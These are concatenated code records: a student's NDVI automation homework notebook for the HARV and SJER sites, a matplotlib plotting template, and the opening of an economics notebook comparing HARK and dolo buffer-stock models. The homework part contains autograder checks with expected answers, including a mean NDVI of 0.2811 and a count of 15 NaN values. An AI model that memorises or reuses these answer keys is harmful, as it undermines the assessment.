em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud\"]\ncloud_shadow = em.pixel_flags[\"pixel_qa\"][\"L8\"][\"Cloud Shadow\"]\n    \nall_masked_values = cloud_shadow + cloud + high_cloud_confidence\n\n\n#mask ndvi with cloud mask \nndvi_clean_crop = ndvi_xr.where(~qa_file.isin(all_masked_values))\n#ndvi_clean_crop.plot()\n\n#----------------------------------------------\n#get mean of xarray\n#----------------------------------------------\n\nndvi_mean = ndvi_clean_crop.mean()\n#type(ndvi_mean)\n\n#convert mean to a float instead of xarray\nndvi_mean_value = ndvi_mean.item()\n\n#----------------------------------------------\n#create df with site, date, and mean NDVI\n#----------------------------------------------\n\n#slice up the path into its components to utilize different names in the path\nslice_path = landsat_folder.split(os.sep)\n\n#site is the third slice\nsite = slice_path[2]\n\n#the file name (with date) is the fifth slice\nfile_string = slice_path[4]\n\n#the date is the the file name - before 01T1. Year, Month, Day\ndate = file_string[10:18]\n\n#convert that date from string to datetime \ndate_time = datetime.strptime(date, '%Y%m%d').strftime('%m/%d/%Y')\n\n#create dataframe \nndvi_df = pd.DataFrame([[site, date_time, ndvi_mean_value]], columns=['site', 'date', 'mean_ndvi'])\n\n#make sure date is in datetime format\nndvi_df['date'] = pd.to_datetime(ndvi_df['date'])\n\n#set date as index\nndvi_df.set_index(\"date\", inplace = True)\n\nndvi_df\n\n\n# In[8]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# _This code snipped abstracts a lot of the work done above. It's the same concepts (open up site, open up landsat folder, open up band files, open and clean bands, mask for cloud cover, calculate NDVI, create df), but it does so with nested for loops so that it can be used with any site. While the code is concise, three for loops seems like not the most efficient way to do this, but I'm not sure what a more efficient method would be - perhaps another function for opening up each level of directories._\n\n# In[9]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Don't forget to set date as the index and make the values of type datetime\n\n# YOUR CODE HERE\n\n#I already have my sites variable from task 1, so no need to re-import\n\n#both_sites_list is where all of the data will be stored and eventually put into a df\nboth_sites_list = []\n\n#----------------------------------------------------\n#for loop to go into each of the two site directories\n#----------------------------------------------------\nfor site in sites:\n    #path_parts gives me each independent string that makes up the path name\n    path_parts = site.split(os.sep)\n    site_name = path_parts[2]\n    vector_dir = os.path.join(site_path, site_name,\n                              \"vector\")\n    \n    #open crop boundary for each site\n    site_boundary_path = os.path.join(vector_dir,  site_name + \"-crop.shp\")\n    crop_bound = gpd.read_file(site_boundary_path)\n\n    #open up the landsat directories for each site\n    landsat_dir = os.path.join(site_path, site_name, \"landsat-crop\")\n    landsat_folders = sorted(glob(os.path.join(landsat_dir, \"*\")))\n    \n    \n    #---------------------------------------------------------------------\n    #secondary for loop to go through each folder in the landsat directory\n    #---------------------------------------------------------------------    \n    \n    for dirs in landsat_folders:\n        print(\"Processing\", dirs) #good way to check where I am in the for loop \n        \n        #open bands required for NDVI calculation\n        band_files = sorted(glob(os.path.join(dirs, \"*band*[4-5].tif\")))\n        \n        #---------------------------------------------------------------------\n        #third for loop to go through each band in band files \n        #---------------------------------------------------------------------    \n        \n        #like in task 1, create empty list to save bands to \n        bands = []\n        \n        for aband in band_files:\n            print(\"Opening\", aband) #good way to check where I am in the for loop \n            \n            #open and clean bands using function \n            cleaned_band = open_clean_bands(band_path=aband, \n                                            crop_bound=crop_bound,\n                                            valid_range=(0, 10000))\n            #add cleaned bands to bands list \n            bands.append(cleaned_band)\n        \n        #calculate NDVI \n        both_sites_ndvi_xr = (bands[1] - bands[0]) / (bands[1] + bands[0])\n        \n        #I've already created the cloud mask in task 1, so I can just run the function \n        both_sites_ndvi_clean_crop = cloud_mask(ndvi_array = both_sites_ndvi_xr, \n                                          site_folder = dirs,\n                                          crop_bound = crop_bound, \n                                          masked_values = all_masked_values)\n        \n        #find ndvi mean, convert to a float\n        both_sites_ndvi_mean = both_sites_ndvi_clean_crop.mean(skipna = True)\n        both_sites_ndvi_mean_value = both_sites_ndvi_mean.item()\n        \n        #splice path_parts again now that we're in the directory and have each tif file name\n        final_path_parts = dirs.split(os.sep)\n        both_sites_site_name = final_path_parts[2]\n        both_sites_file_string = final_path_parts[4]\n        both_sites_date = both_sites_file_string[10:18]\n        both_sites_date_time = datetime.strptime(both_sites_date, '%Y%m%d').strftime('%m/%d/%Y')\n        \n        both_sites_list.append([both_sites_site_name, both_sites_date_time, both_sites_ndvi_mean_value ])\n\n#create dataframe from both_sites_list \nboth_sites_ndvi_df = pd.DataFrame(both_sites_list, columns=['site', 'date', 'mean_ndvi'])\nboth_sites_ndvi_df['date'] = pd.to_datetime(both_sites_ndvi_df['date'])\nboth_sites_ndvi_df.set_index(\"date\", inplace = True)\nboth_sites_ndvi_df\n\n\n# In[10]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# _Finally, this code block plots the data, grouped by site, and plots the mean NDVI by the date. It also drops all NaNs in the process. I think it's a fairly efficient way to plot._\n\n# In[11]:\n\n\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\n# YOUR CODE HERE\nf, ax = plt.subplots(figsize=(15, 6))\n\nfor site, df in both_sites_ndvi_df.dropna().groupby('site'):\n    ax.plot(df['mean_ndvi'], 'd-',  label = site)\n    \nax.set(title = \"Mean NDVI for HARV and SJER Sites (2017-2018)\",\n       xlabel = 'Date',\n       ylabel = 'Mean NDVI')\n\nplt.legend(bbox_to_anchor=(0.99,0.99))\n\n### DO NOT REMOVE LINES BELOW ###\nfinal_masked_solution = nb.convert_axes(plt, which_axes=\"current\")\n\n\n# In[12]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# In[13]:\n\n\n# Ignore this cell for the autograding tests\n\n\n# # Question 1 (10 points)\n# \n# Imagine that you are planning NEON\u2019s upcoming flight season to capture remote sensing data in these locations and want to ensure that you fly the area when the vegetation is the most green.\n# \n# When would you recommend the flights take place for each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# Well, the higher the NDVI, the more green the vegetation at each site is. So the highest NDVI for SJER takes place in April, and the highest NDVI for HARV takes places around early July. It's also important to note that these data points aren't regular in their timing. Perhaps there's even a better time for both of these sites in the longer gaps between the diamonds on the plot. \n# \n# \n\n# # Question 2 (10 points)\n# \n# How could you modify your workflow to look at vegetation changes over time in each site? \n# \n# Answer the question in 2-3 sentences in the Markdown cell below.\n\n# I might try other types of statistics to see if that changes the way the NDVI looks over the year...I might create \n# two graphs for each site, with the mean, mode and max NDVI calculated. That way I could tell if maybe the mean is creating some error in the way I interpret the data.\n# \n# \n# \n# \n\n# # Do not edit this cell! (10 points)\n# \n# The notebook includes:\n# * additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Do not edit this cell! (20 points)\n# \n# The notebook will also be checked for overall clean code requirements as specified at the **top** of this notebook. Some of these requirements include (review the top cells for more specifics): \n# \n# * Notebook begins at cell [1] and runs on any machine in its entirety.\n# * PEP 8 format is applied throughout (including lengths of comment and code lines).\n# * No additional code or imports in the notebook that is not needed for the workflow.\n# * Notebook is fully reproducible. This means:\n#    * reproducible paths using the os module.\n#    * data downloaded using code in the notebook.\n#    * all imports at top of notebook.\n\n# ## BONUS - Export a  .CSV File to Share (10 points possible)\n# \n# This is optional - if you export a **.csv** file with the columns specified above: Site, Date and NDVI Value you can get an additional 10 points.\n# \n# * FULL CREDIT: File exists in csv format and contains the columns specified.\n# We will check your github repo for this file!\n# \n\n# In[14]:\n\n\nboth_sites_ndvi_df.to_csv(\"/Users/avrasaslow/Documents/Earth_Lab/\"\n                          \"Semester2/ea-2022-04-ndvi-automation-AvraSaslow/HARV_SJER_NDVI.csv\")\n\n\n# In[15]:\n\n\nHARV_SJER_NDVI = pd.read_csv(\"HARV_SJER_NDVI.csv\")\nHARV_SJER_NDVI\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "a9135f4dcf490dff100edfde8bd76e1e298bde1e", "size": 29874, "ext": "py", "lang": "Python", "max_stars_repo_path": "saslow-avra-ndvi-automation.py", "max_stars_repo_name": "AvraSaslow/ea-2021-ndvi-automation-review", "max_stars_repo_head_hexsha": "d5d894842f6262589c260084b2198acc80b3fe38", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "saslow-avra-ndvi-automation.py", "max_issues_repo_name": "AvraSaslow/ea-2021-ndvi-automation-review", "max_issues_repo_head_hexsha": "d5d894842f6262589c260084b2198acc80b3fe38", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-03-10T22:44:12.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-10T22:44:12.000Z", "max_forks_repo_path": "saslow-avra-ndvi-automation.py", "max_forks_repo_name": "AvraSaslow/ea-2021-ndvi-automation-review", "max_forks_repo_head_hexsha": "d5d894842f6262589c260084b2198acc80b3fe38", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.3984575835, "max_line_length": 507, "alphanum_fraction": 0.6777800094, "include": true, "reason": "import numpy", "num_tokens": 7200, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.25683198001082097, "lm_q2_score": 0.2568319970758679, "lm_q1q2_score": 0.06596267033912853}}
{"text": "#! /usr/bin/env python \n##################################################################################\n# A template to help create readable figures with Matplotlib and Scipy\n#\n# It may actually look worse on screen. The saved version should be better.\n#\n# This will not do anyting on it's own. Copy and paste into your script, then...\n#\n# You will have to fill in:\n#   - the actual things to plot\n#   - the axis labels - be sure to include units\n#   - the legend labels\n#   - the filename to save the figure as\n#\n# Created: 4/19/13 - Joshua Vaughan (joshua.vaughan@louisiana.edu)\n#\n# Modified: \n#   * \n#\n##################################################################################\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# Make the figure pretty, then plot the results\n#   \"pretty\" parameters selected based on pdf output, not screen output\n#   Many of these setting could also be made default by the .matplotlibrc file\n\n# Example data so that code will show a plot... \n# It's best to remove and fill in your own\nx1 = np.linspace(0, 5, 501)\nx2 = x1\nx3 = x1\nx4 = x1\n\ny1 = sin(x1)\ny2 = 0.5*sin(x2)\ny3 = 0.75*sin(x3)\ny4 = 1.25*sin(x4)\n\n\n#-----  Copy from here down into your code, replacing items as needed ----------------\n\n# Set the plot size - 3x2 aspect ratio is best\nfig = plt.figure(figsize=(6,4))\nax = plt.gca()\nplt.subplots_adjust(bottom=0.17, left=0.17, top=0.96, right=0.96)\n\n# Change the axis units font\nplt.setp(ax.get_ymajorticklabels(),fontsize=18)\nplt.setp(ax.get_xmajorticklabels(),fontsize=18)\n\nax.spines['right'].set_color('none')\nax.spines['top'].set_color('none')\n\nax.xaxis.set_ticks_position('bottom')\nax.yaxis.set_ticks_position('left')\n\n# Turn on the plot grid and set appropriate linestyle and color\nax.grid(True,linestyle=':', color='0.75')\nax.set_axisbelow(True)\n\n# Define the X and Y axis labels\nplt.xlabel('X label (units)', fontsize=22, weight='bold', labelpad=5)\nplt.ylabel('Y label (units)', fontsize=22, weight='bold', labelpad=10)\n \nplt.plot(x1, y1, linewidth=2, linestyle='-', label=r'Data 1')\nplt.plot(x2, y2, linewidth=2, linestyle='--', label=r'Data 2')\nplt.plot(x3, y3, linewidth=2, linestyle='-.', label=r'Data 3')\nplt.plot(x4, y4, linewidth=2, linestyle=':', label=r'Data 4')\n\n# uncomment below and set limits if needed\n# plt.xlim(0,5)\n# plt.ylim(0,10)\n\n# Create the legend, then fix the fontsize\nleg = plt.legend(loc='upper right', ncol = 1, fancybox=True)\nltext  = leg.get_texts()\nplt.setp(ltext,fontsize=18)\n\n# Adjust the page layout filling the page using the new tight_layout command\nplt.tight_layout(pad=0.5)\n\n# save the figure as a high-res pdf in the current folder\n# plt.savefig('plot_filename.pdf')\n\n# show the figure\nplt.show()\n", "meta": {"hexsha": "e80b7792ef59b8b4d7198b31e1f236331a3c356c", "size": 2700, "ext": "py", "lang": "Python", "max_stars_repo_path": "Plotting/matplotlib_plot_template.py", "max_stars_repo_name": "DocVaughan/CRAWLAB-Code-Snippets", "max_stars_repo_head_hexsha": "90c946bef0fbe37401f822d58ce5a6b3c5349616", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 12, "max_stars_repo_stars_event_min_datetime": "2015-03-03T18:32:03.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-13T18:50:37.000Z", "max_issues_repo_path": "Plotting/matplotlib_plot_template.py", "max_issues_repo_name": "DocVaughan/CRAWLAB-Code-Snippets", "max_issues_repo_head_hexsha": "90c946bef0fbe37401f822d58ce5a6b3c5349616", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Plotting/matplotlib_plot_template.py", "max_forks_repo_name": "DocVaughan/CRAWLAB-Code-Snippets", "max_forks_repo_head_hexsha": "90c946bef0fbe37401f822d58ce5a6b3c5349616", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 7, "max_forks_repo_forks_event_min_datetime": "2017-01-20T20:31:54.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-28T16:52:48.000Z", "avg_line_length": 30.0, "max_line_length": 86, "alphanum_fraction": 0.6607407407, "include": true, "reason": "import numpy", "num_tokens": 754, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749485, "lm_q2_score": 0.14414885487109627, "lm_q1q2_score": 0.06589573425021598}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   '@webio':\n#     lastCommId: a8ab2762cccf499696a7ef0a86be4d18\n#     lastKernelId: 261999dd-7ee7-4ad4-9a26-99a84a77979b\n#   cite2c:\n#     citations:\n#       6202365/8AH9AXN2:\n#         URL: http://econ.jhu.edu/people/ccarroll/papers/BufferStockTheory.pdf\n#         author:\n#         - family: Carroll\n#           given: Christopher\n#         container-title: Manuscript, Department of Economics, Johns Hopkins University\n#         id: 6202365/8AH9AXN2\n#         issued:\n#           month: 2\n#           year: 2019\n#         note: \"Available at http://econ.jhu.edu/people/ccarroll/papers/BufferStockTheory\\\n#           \\ \\nCitation Key: carrollBufferStockTheory \\nbibtex*[extra=bibtex:carrollBufferStockTheory]\"\n#         title: Theoretical Foundations of Buffer Stock Saving\n#         type: article-journal\n#       6202365/TGG4U7J4:\n#         author:\n#         - family: Clarida\n#           given: Richard H.\n#         container-title: International Economic Review\n#         issued:\n#           date-parts:\n#           - - 1987\n#         page: \"339\\u2013351\"\n#         title: Consumption, Liquidity Constraints, and Asset Accumulation in the Face\n#           of Random Fluctuations in Income\n#         type: article-journal\n#         volume: XXVIII\n#       undefined:\n#         URL: http://econ.jhu.edu/people/ccarroll/papers/BufferStockTheory.pdf\n#         author:\n#         - family: Carroll\n#           given: Christopher\n#         container-title: Manuscript, Department of Economics, Johns Hopkins University\n#         issued:\n#           date-parts:\n#           - - '2019'\n#             - 2\n#         note: \"Available at http://econ.jhu.edu/people/ccarroll/papers/BufferStockTheory\\\n#           \\ \\nCitation Key: carrollBufferStockTheory \\nbibtex*[extra=bibtex:carrollBufferStockTheory]\"\n#         title: Theoretical Foundations of Buffer Stock Saving\n#         type: article-journal\n#   jupytext:\n#     formats: ipynb,py:percent\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.1'\n#       jupytext_version: 0.8.3\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n#   language_info:\n#     codemirror_mode:\n#       name: ipython\n#       version: 3\n#     file_extension: .py\n#     mimetype: text/x-python\n#     name: python\n#     nbconvert_exporter: python\n#     pygments_lexer: ipython3\n#     version: 3.6.7\n#   varInspector:\n#     cols:\n#       lenName: 16\n#       lenType: 16\n#       lenVar: 40\n#     kernels_config:\n#       python:\n#         delete_cmd_postfix: ''\n#         delete_cmd_prefix: 'del '\n#         library: var_list.py\n#         varRefreshCmd: print(var_dic_list())\n#       r:\n#         delete_cmd_postfix: ') '\n#         delete_cmd_prefix: rm(\n#         library: var_list.r\n#         varRefreshCmd: 'cat(var_dic_list()) '\n#     types_to_exclude:\n#     - module\n#     - function\n#     - builtin_function_or_method\n#     - instance\n#     - _Feature\n#     window_display: false\n# ---\n\n# %% [markdown]\n# # Buffer Stock Saving in HARK and dolo\n# <!-- <p style=\"text-align: center;\"><small><small>Generator: BufferStockTheory-make/notebooks_byname</small></small></p>\n# -->\n\n# %% [markdown]\n# This notebook compares the solutions to a standard buffer stock saving model obtained by the [Econ-ARK/HARK](https://github.com/econ-ark/HARK) toolkit and the [dolo](https://github.com/EconForge/dolo) modeling system.\n\n# %% {\"code_folding\": [0]}\n# This cell does some setup and imports generic tools \n\nGenerator=True # Is this notebook the master or is it generated?\n# Import related generic python packages\nimport numpy as np\nfrom time import clock\nmystr = lambda number : \"{:.4f}\".format(number)\n\n# This is a jupytext paired notebook that autogenerates BufferStockTheory.py\n# which can be executed from a terminal command line via \"ipython BufferStockTheory.py\"\n# But a terminal does not permit inline figures, so we need to test jupyter vs terminal\n# Google \"how can I check if code is executed in the ipython notebook\"\n\nfrom IPython import get_ipython # In case it was run from python instead of ipython\ndef in_ipynb():\n    try:\n        if str(type(get_ipython())) == \"<class 'ipykernel.zmqshell.ZMQInteractiveShell'>\":\n            return True\n        else:\n            return False\n    except NameError:\n        return False\n\n# Determine whether to make the figures inline (for spyder or jupyter)\n# vs whatever is the automatic setting that will apply if run from the terminal\nif in_ipynb():\n    # %matplotlib inline generates a syntax error when run from the shell\n    # so do this instead\n    get_ipython().run_line_magic('matplotlib', 'inline')\nelse:\n    get_ipython().run_line_magic('matplotlib', 'auto')\n    print('You appear to be running from a terminal')\n    print('By default, figures will appear one by one')\n    print('Close the visible figure in order to see the next one')\n\n# Import the plot-figure library matplotlib\n\nimport matplotlib.pyplot as plt\n\n# In order to use LaTeX to manage all text layout in our figures, we import rc settings from matplotlib.\nfrom matplotlib import rc\nplt.rc('font', family='serif')\n\n# LaTeX is huge and takes forever to install on mybinder\n# so if it is not installed then do not use it \nfrom distutils.spawn import find_executable\niflatexExists=False\nif find_executable('latex'):\n    iflatexExists=True\n    \nplt.rc('font', family='serif')\nplt.rc('text', usetex=iflatexExists)\n\n# The warnings package allows us to ignore some harmless but alarming warning messages\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# The tools for navigating the filesystem\nimport sys\nimport os\n\nsys.path.insert(0, os.path.abspath('../../lib')) # REMARKs directory is two down from root \n\nfrom HARK.utilities import plotFuncsDer, plotFuncs\nfrom copy import copy, deepcopy\n\n# Define (and create, if necessary) the figures directory \"Figures\"\nif Generator:\n    my_file_path = os.path.dirname(os.path.abspath(\"BufferStockTheory.ipynb\")) # Find pathname to this file:\n    Figures_HARK_dir = os.path.join(my_file_path,\"Figures/\") # LaTeX document assumes figures will be here\n    Figures_HARK_dir = os.path.join(my_file_path,\"/tmp/Figures/\") # Uncomment to make figures outside of git path\n    if not os.path.exists(Figures_HARK_dir):\n        os.makedirs(Figures_HARK_dir)\n\n# %% [markdown]\n# ## [The Problem](http://econ.jhu.edu/people/ccarroll/papers/BufferStockTheory/#The-Problem) \n#\n# [This paper](http://econ.jhu.edu/people/ccarroll/papers/BufferStockTheory/#The-Problem) defines a buffer stock saving model and calibrates parameters:\n#\n# | Parameter | Description | Code | Value |\n# | :---: | ---         | ---  | :---: |\n# | $\\newcommand{\\PermGroFac}{\\Gamma}\\PermGroFac$ | Permanent Income Growth Factor | $\\texttt{PermGroFac}$ | 1.03 |\n# | $\\newcommand{\\Rfree}{\\mathrm{\\mathsf{R}}}\\Rfree$ | Interest Factor | $\\texttt{Rfree}$ | 1.04 |\n# | $\\newcommand{\\DiscFac}{\\beta}\\DiscFac$ | Time Preference Factor | $\\texttt{DiscFac}$ | 0.96 |\n# | $\\newcommand{\\CRRA}{\\rho}\\CRRA$ | Coe\ufb03cient of Relative Risk Aversion| $\\texttt{CRRA}$ | 2 |\n# | $\\newcommand{\\UnempPrb}{\\wp}\\UnempPrb$ | Probability of Unemployment | $\\texttt{UnempPrb}$ | 0.005 |\n# | $\\newcommand{\\IncUnemp}{\\mu}\\IncUnemp$ | Income when Unemployed | $\\texttt{IncUnemp}$ | 0. |\n# | $\\newcommand{\\PermShkStd}{\\sigma_\\psi}\\PermShkStd$ | Std Dev of Log Permanent Shock| $\\texttt{PermShkStd}$ | 0.1 |\n# | $\\newcommand{\\TranShkStd}{\\sigma_\\theta}\\TranShkStd$ | Std Dev of Log Transitory Shock| $\\texttt{TranShkStd}$ | 0.1 |\n#\n# For a microeconomic consumer with 'Market Resources' (net worth plus current income) $M_{t}$, end-of-period assets $A_{t}$ will be the amount remaining after consumption of $C_{t}$.  <!-- Next period's 'Balances' $B_{t+1}$ reflect this period's $A_{t}$ augmented by return factor $R$:-->\n# \\begin{eqnarray}\n# A_{t}   &=&M_{t}-C_{t}  \\label{eq:DBCparts} \\\\\n# %B_{t+1}   & = & A_{t} R \\notag \\\\\n# \\end{eqnarray}\n#\n# The consumer's permanent noncapital income $P$ grows by a predictable factor $\\PermGroFac$ and is subject to an unpredictable lognormally distributed multiplicative shock $\\mathbb{E}_{t}[\\psi_{t+1}]=1$, \n# \\begin{eqnarray}\n# P_{t+1} & = & P_{t} \\PermGroFac \\psi_{t+1}\n# \\end{eqnarray}\n#\n# and actual income is permanent income multiplied by a logormal multiplicative transitory shock, $\\mathbb{E}_{t}[\\theta_{t+1}]=1$, so that next period's market resources are\n# \\begin{eqnarray}\n# %M_{t+1} &=& B_{t+1} +P_{t+1}\\theta_{t+1},  \\notag\n# M_{t+1} &=& A_{t}R +P_{t+1}\\theta_{t+1}.  \\notag\n# \\end{eqnarray}\n#\n# When the consumer has a CRRA utility function $u(c)=\\frac{c^{1-\\rho}}{1-\\rho}$, the paper shows that the problem can be written in terms of ratios of money variables to permanent income, e.g. $m_{t} \\equiv M_{t}/P_{t}$, and the Bellman form of [the problem reduces to](http://econ.jhu.edu/people/ccarroll/papers/BufferStockTheory/#The-Related-Problem):\n#\n# \\begin{eqnarray*}\n# v_t(m_t) &=& \\max_{c_t}~~ u(c_t) + \\beta~\\mathbb{E}_{t} [(\\Gamma\\psi_{t+1})^{1-\\rho} v_{t+1}(m_{t+1}) ] \\\\\n# & s.t. & \\\\\n# a_t &=& m_t - c_t \\\\\n# m_{t+1} &=& R/(\\Gamma \\psi_{t+1}) a_t + \\theta_{t+1} \\\\\n# \\end{eqnarray*}\n#\n# and the Euler equation for this model is \n#\n# \\begin{eqnarray*}\n# c_{t}^{-\\rho} & = & R \\beta \\mathbb{E}_{t}[(\\Gamma \\psi c_{t+1})^{-\\rho})] \\\\\n# 0 & = & R \\beta \\mathbb{E}_{t}[(\\Gamma \\psi c_{t+1}/c_{t})^{-\\rho})]-1\n# \\end{eqnarray*}\n#\n#\n# For the purposes of this notebook, the paper's baseline parameterization is changed as follows:\n#\n# 1. The unemployment (zero-income event) shocks are turned off\n# 2. An explicit liqudity constraint is added ($c_{t} \\leq m_{t}$)\n\n# %% [markdown]\n# # Dolo\n#\n# [Installation instructions](https://github.com/EconForge/dolo/wiki/Installation) for dolo involve a number of dependencies, including the dolo language \"dolang.\"  This notebook assumes all these have been installed.\n\n# %%\nfrom dolo import *\n\n# %% [markdown]\n# Dolo defines models using \"model files\" whose syntax is specified in the documentation\n\n# %%\nmodel_dolo = yaml_import(\"../models/bufferstock.yaml\")\nprint( model_dolo )\n\n# %%\n# Set a maximum value of the market resources ratio m for use in both models\nmax_m = 500\nmodel_dolo.data['calibration']['max_m'] = max_m\nmodel_dolo.data['domain']['m'] = [0,'max_m']\n\n# Obtain the decision rule by time iteration\ndr = time_iteration(model_dolo,tol=1e-08,verbose=True)\n\n# %% [markdown]\n# # HARK\n# The HARK tool used here is $\\texttt{ConsIndShockModel.py}$.  For an introduction to this module, see the [ConsIndShockModel.ipynb](https://econ-ark.org/notebooks) notebook at the [Econ-ARK](https://econ-ark.org) website.\n\n# %% {\"code_folding\": [0]}\n# Define a parameter dictionary with baseline parameter values\n\n# Set the baseline parameter values \nPermGroFac = 1.03\nRfree      = 1.04\nDiscFac    = 0.96\nCRRA       = 2.00\nUnempPrb   = 0.00\nIncUnemp   = 0.0\nPermShkStd = 0.1\nTranShkStd = 0.1\n# Import default parameter values\nimport HARK.ConsumptionSaving.ConsumerParameters as Params \n\n# Make a dictionary containing all parameters needed to solve the model\nbase_params = Params.init_idiosyncratic_shocks\n\n# Set the parameters for the baseline results in the paper\n# using the variable values defined in the cell above\nbase_params['PermGroFac'] = [PermGroFac]   # Permanent income growth factor\nbase_params['Rfree']      = Rfree          # Interest factor on assets\nbase_params['DiscFac']    = DiscFac        # Time Preference Factor\nbase_params['CRRA']       = CRRA           # Coefficient of relative risk aversion\nbase_params['UnempPrb']   = UnempPrb       # Probability of unemployment (e.g. Probability of Zero Income in the paper)\nbase_params['IncUnemp']   = IncUnemp       # Induces natural borrowing constraint\nbase_params['PermShkStd'] = [PermShkStd]   # Standard deviation of log permanent income shocks\nbase_params['TranShkStd'] = [TranShkStd]   # Standard deviation of log transitory income shocks\n\n# Some technical settings that are not interesting for our purposes\nbase_params['LivPrb']       = [1.0]   # 100 percent probability of living to next period\nbase_params['CubicBool']    = True    # Use cubic spline interpolation\nbase_params['T_cycle']      = 1       # No 'seasonal' cycles\nbase_params['BoroCnstArt']  = None    # No artificial borrowing constraint\n\nfrom HARK.utilities import plotFuncsDer, plotFuncs\nfrom HARK.ConsumptionSaving.ConsIndShockModel import IndShockConsumerType\n# %%\n# Create a model identical to the dolo model\n# Start with the HARK baseline parameters and modify \n# to be like the dolo model \nbase_params_dolo = dict(base_params)\nbase_params_dolo['BoroCnstArt']  = 0.0    # Liquidity constraint at 0\nbase_params_dolo['UnempPrb']     = 0      # No point-mass on unemployment state \nbase_params_dolo['TranShkCount'] = 5      # Default number of nodes in dolo\nbase_params_dolo['PermShkCount'] = 5\nbase_params_dolo['aXtraMax']     = max_m  # Use same maximum\nbase_params_dolo['aXtraCount']   = 100    # How dense to make the grid\nbase_params_dolo['DiscFac']      = 